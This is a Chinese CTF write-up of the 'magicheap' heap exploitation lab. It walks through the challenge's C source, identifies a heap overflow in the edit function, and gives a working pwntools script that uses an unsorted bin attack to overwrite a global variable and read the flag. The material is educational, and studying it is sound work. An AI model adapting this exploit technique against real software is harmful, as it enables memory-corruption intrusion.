magicheap Writeup

题目地址:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unsorted_bin_attack/hitcontraining_lab14

考察漏洞:Unsorted Bin Attack。

源程序下载:http://file.eonew.cn/elf/magicheap

源码:magicheap.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void read_input(char *buf, size_t size)
{
    int ret;
    ret = read(0, buf, size);
    if (ret <= 0)
    {
        puts("Error");
        _exit(-1);
    }
}

char *heaparray[10];
unsigned long int magic = 0;

void menu()
{
    puts("--------------------------------");
    puts("       Magic Heap Creator       ");
    puts("--------------------------------");
    puts(" 1. Create a Heap               ");
    puts(" 2. Edit a Heap                 ");
    puts(" 3. Delete a Heap               ");
    puts(" 4. Exit                        ");
    puts("--------------------------------");
    printf("Your choice :");
}

void create_heap()
{
    int i;
    char buf[8];
    size_t size = 0;
    for (i = 0; i < 10; i++)
    {
        if (!heaparray[i])
        {
            printf("Size of Heap : ");
            read(0, buf, 8);
            size = atoi(buf);
            heaparray[i] = (char *)malloc(size);
            if (!heaparray[i])
            {
                puts("Allocate Error");
                exit(2);
            }
            printf("Content of heap:");
            read_input(heaparray[i], size);
            puts("SuccessFul");
            break;
        }
    }
}

void edit_heap()
{
    int idx;
    char buf[4];
    size_t size;
    printf("Index :");
    read(0, buf, 4);
    idx = atoi(buf);
    if (idx < 0 || idx >= 10)
    {
        puts("Out of bound!");
        _exit(0);
    }
    if (heaparray[idx])
    {
        printf("Size of Heap : ");
        read(0, buf, 8);
        size = atoi(buf);
        printf("Content of heap : ");
        read_input(heaparray[idx], size);
        puts("Done !");
    }
    else
    {
        puts("No such heap !");
    }
}

void delete_heap()
{
    int idx;
    char buf[4];
    printf("Index :");
    read(0, buf, 4);
    idx = atoi(buf);
    if (idx < 0 || idx >= 10)
    {
        puts("Out of bound!");
        _exit(0);
    }
    if (heaparray[idx])
    {
        free(heaparray[idx]);
        heaparray[idx] = NULL;
        puts("Done !");
    }
    else
    {
        puts("No such heap !");
    }
}

void l33t() { system("cat ./flag"); }

int main()
{
    char buf[8];
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);
    while (1)
    {
        menu();
        read(0, buf, 8);
        switch (atoi(buf))
        {
        case 1:
            create_heap();
            break;
        case 2:
            edit_heap();
            break;
        case 3:
            delete_heap();
            break;
        case 4:
            exit(0);
            break;
        case 4869:
            if (magic > 4869)
            {
                puts("Congrt !");
                l33t();
            }
            else
                puts("So sad !");
            break;
        default:
            puts("Invalid Choice");
            break;
        }
    }
    return 0;
}

程序简介

安全防护

ex@ubuntu:~/test$ checksec magicheap 
[*] '/home/ex/test/magicheap'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

主要功能

void menu()
{
    puts("--------------------------------");
    puts("       Magic Heap Creator       ");
    puts("--------------------------------");
    puts(" 1. Create a Heap               ");
    puts(" 2. Edit a Heap                 ");
    puts(" 3. Delete a Heap               ");
    puts(" 4. Exit                        ");
    puts("--------------------------------");
    printf("Your choice :");
}

全局变量

char *heaparray[10];
unsigned long int magic = 0;

create_heap

void create_heap()
{
    int i;
    char buf[8];
    size_t size = 0;
    for (i = 0; i < 10; i++)
    {
        if (!heaparray[i])
        {
            printf("Size of Heap : ");
            read(0, buf, 8);
            size = atoi(buf);
            heaparray[i] = (char *)malloc(size);
            if (!heaparray[i])
            {
                puts("Allocate Error");
                exit(2);
            }
            printf("Content of heap:");
            read_input(heaparray[i], size);
            puts("SuccessFul");
            break;
        }
    }
}

根据用户输入的size来申请heap并写入内容,写入的时候有溢出保护。heap被放在全局变量heaparray上。

edit_heap

void edit_heap()
{
    int idx;
    char buf[4];
    size_t size;
    printf("Index :");
    read(0, buf, 4);
    idx = atoi(buf);
    if (idx < 0 || idx >= 10)
    {
        puts("Out of bound!");
        _exit(0);
    }
    if (heaparray[idx])
    {
        printf("Size of Heap : ");
        read(0, buf, 8);
        size = atoi(buf);
        printf("Content of heap : ");
        read_input(heaparray[idx], size);
        puts("Done !");
    }
    else
    {
        puts("No such heap !");
    }
}

这里根据用户的的输入确定要编辑全局变量heaparray的索引并进行编辑,编辑的大小由用户的输入而定。

delete_heap

void delete_heap()
{
    int idx;
    char buf[4];
    printf("Index :");
    read(0, buf, 4);
    idx = atoi(buf);
    if (idx < 0 || idx >= 10)
    {
        puts("Out of bound!");
        _exit(0);
    }
    if (heaparray[idx])
    {
        free(heaparray[idx]);
        heaparray[idx] = NULL;
        puts("Done !");
    }
    else
    {
        puts("No such heap !");
    }
}

根据用户的的输入确定要free的全局变量heaparray的索引,free之后地址被设置为NULL,预防了UAF漏洞。

后门函数

case 4869:
if (magic > 4869)
{
    puts("Congrt !");
    l33t();
}

void l33t()
{
    system("cat ./flag");
}

只要将全局变量修改为大于4869的值时,即可以获得flag。

漏洞在哪里呢?

程序有UAF防护,但是在eidt部分却有heap overflow,我们可以通过heap overflow来间接实现Unsorted Bin Attack。

思路

直接heap overflow即可。申请两块chunk,不能是fastbin(小于160),然后free
掉后面一块chunk,用前面的chunk的溢出修改该后面chunk的bk值。

脚本

由于比较简单,所以直接贴脚本上来。这里就简单说一下我犯的一个小错误,在申请两个chunk时,忘记再申请一个chunk防止第二个chunk和top chunk合并。

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

sh = process('./magicheap')
elf = ELF('./magicheap')
#context.log_level = "debug"

# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

def create_heap(size, content):
    sh.sendline(str(1))
    sh.recvuntil('Size of Heap : ')
    sh.sendline(str(size))
    sh.recvuntil('Content of heap:')
    sh.sendline(content)
    sh.recvuntil('Your choice :')

def edit_heap(index, size, name):
    sh.sendline(str(2))
    sh.recvuntil('Index :')
    sh.sendline(str(index))
    sh.recvuntil('Size of Heap : ')
    sh.sendline(str(size))
    sh.recvuntil('Content of heap : ')
    sh.sendline(name)
    sh.recvuntil('Your choice :')

def delete_heap(index):
    sh.sendline(str(3))
    sh.recvuntil('Index :')
    sh.sendline(str(index))
    sh.recvuntil('Your choice :')

magic_addr = 0x6020c0

# 清除流
sh.recvuntil('Your choice :')

# 注意这里不能太小,否则申请的是fastbin
create_heap(0x108, '')  # 申请的这个chunk的size为 0x110
create_heap(0x108, '')  # 申请的这个chunk的size为 0x110
create_heap(24, '')  # 防止和top chunk合并

delete_heap(1)  # 删除后面一块chunk

layout = [
    'a'*0x100,  # 偏移
    p64(0),  # 第二块chunk->prev_size
    p64(0x110 + 1),  # 第二块chunk->size
    p64(0),  # 第二块chunk->fd
    p64(magic_addr - 8*2)  # 第二块chunk->bk
]

# 构造 Unsorted Bin Attack 漏洞
edit_heap(0, len(flat(layout)), flat(layout))

# 触发 Unsorted Bin Attack漏洞
create_heap(0x108, '')

# get flag
sh.sendline('4869')
sh.interactive()

# 删除pid文件
os.system("rm -f pid")

执行结果:

ex@ubuntu:~/test$ echo flag{123456} > flag
ex@ubuntu:~/test$ ./exp.py 
[+] Starting local process './magicheap': pid 4718
[*] '/home/ex/test/magicheap'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Switching to interactive mode
Congrt !
flag{123456}
--------------------------------
       Magic Heap Creator       
--------------------------------
 1. Create a Heap               
 2. Edit a Heap                 
 3. Delete a Heap               
 4. Exit                        
--------------------------------
Your choice :$  

总结

虽然Unsorted Bin Attack的用处不大,但是一个系统的攻破往往不是通过某单一漏洞而实现的,而是由于那些不起眼的漏洞组合起来,然后便成就了0day。